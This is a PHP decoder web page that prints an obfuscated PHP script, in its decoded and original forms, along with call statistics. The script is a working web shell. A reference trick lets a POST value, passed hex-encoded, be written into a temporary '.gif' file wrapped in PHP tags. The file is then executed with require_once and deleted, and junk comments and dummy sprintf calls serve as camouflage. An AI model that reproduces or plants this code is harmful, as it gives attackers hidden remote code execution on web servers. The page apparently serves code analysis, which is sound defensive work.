Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function filterStr($hex) { $str = chr(hexdec('3f')) . chr(hexdec('70')) . 'h'..
Decoded Output download
<?php
function filterStr($hex)
{
$str = chr(hexdec('3f')) . chr(hexdec('70')) . 'h';
$str .= "p" . "
";
for ($i = 0; $i < strlen($hex) - 1; $i += 2)
$str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
return $str . "?";
}
function randomGifFile()
{
$string_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$tmp = '';
// e98il3hfMPR0g6uv3jwt
for ($i = 0; $i < 6; $i++) {
$tmp .= $string_table[rand(0, 62 - 1)];
}
return sys_get_temp_dir() . "/" . $tmp;
}
if (!isset($_GET["id"]) || !isset($_POST["ftp"])) {
die;
}
// e98il3hfMPR0g6uv3jwt
$a = array(1 => "userName");
$b =& $a[1];
$c = $a;
// gpasda
$c[$_GET["id"]] = $_POST["ftp"];
$fileName = randomGifFile() . ".gif";
file_put_contents($fileName, "" . chr(hexdec('3c')) . filterStr($a[1]) . ">");
sprintf("hello world%s","1");sprintf("hello world%s","2");sprintf("hello world%s","3");
if (file_exists($fileName)) {
require_once /*file hhh*/$fileName;
}
// e98il3hfMPR0g6uv3jwt
@unlink($fileName);
echo(md5("0cabcd!@#A."));die;
?>
Did this file decode correctly?
Original Code
<?php
function filterStr($hex)
{
$str = chr(hexdec('3f')) . chr(hexdec('70')) . 'h';
$str .= "p" . "\n";
for ($i = 0; $i < strlen($hex) - 1; $i += 2)
$str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
return $str . "?";
}
function randomGifFile()
{
$string_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$tmp = '';
// e98il3hfMPR0g6uv3jwt
for ($i = 0; $i < 6; $i++) {
$tmp .= $string_table[rand(0, 62 - 1)];
}
return sys_get_temp_dir() . "/" . $tmp;
}
if (!isset($_GET["id"]) || !isset($_POST["ftp"])) {
die;
}
// e98il3hfMPR0g6uv3jwt
$a = array(1 => "userName");
$b =& $a[1];
$c = $a;
// gpasda
$c[$_GET["id"]] = $_POST["ftp"];
$fileName = randomGifFile() . ".gif";
file_put_contents($fileName, "" . chr(hexdec('3c')) . filterStr($a[1]) . ">");
sprintf("hello world%s","1");sprintf("hello world%s","2");sprintf("hello world%s","3");
if (file_exists($fileName)) {
require_once /*file hhh*/$fileName;
}
// e98il3hfMPR0g6uv3jwt
@unlink($fileName);
echo(md5("0cabcd!@#A."));die;
?>
Function Calls
rand | 1 |
randomGifFile | 1 |
Stats
MD5 | d7de933812170d953fd59d451640974d |
Eval Count | 0 |
Decode Time | 88 ms |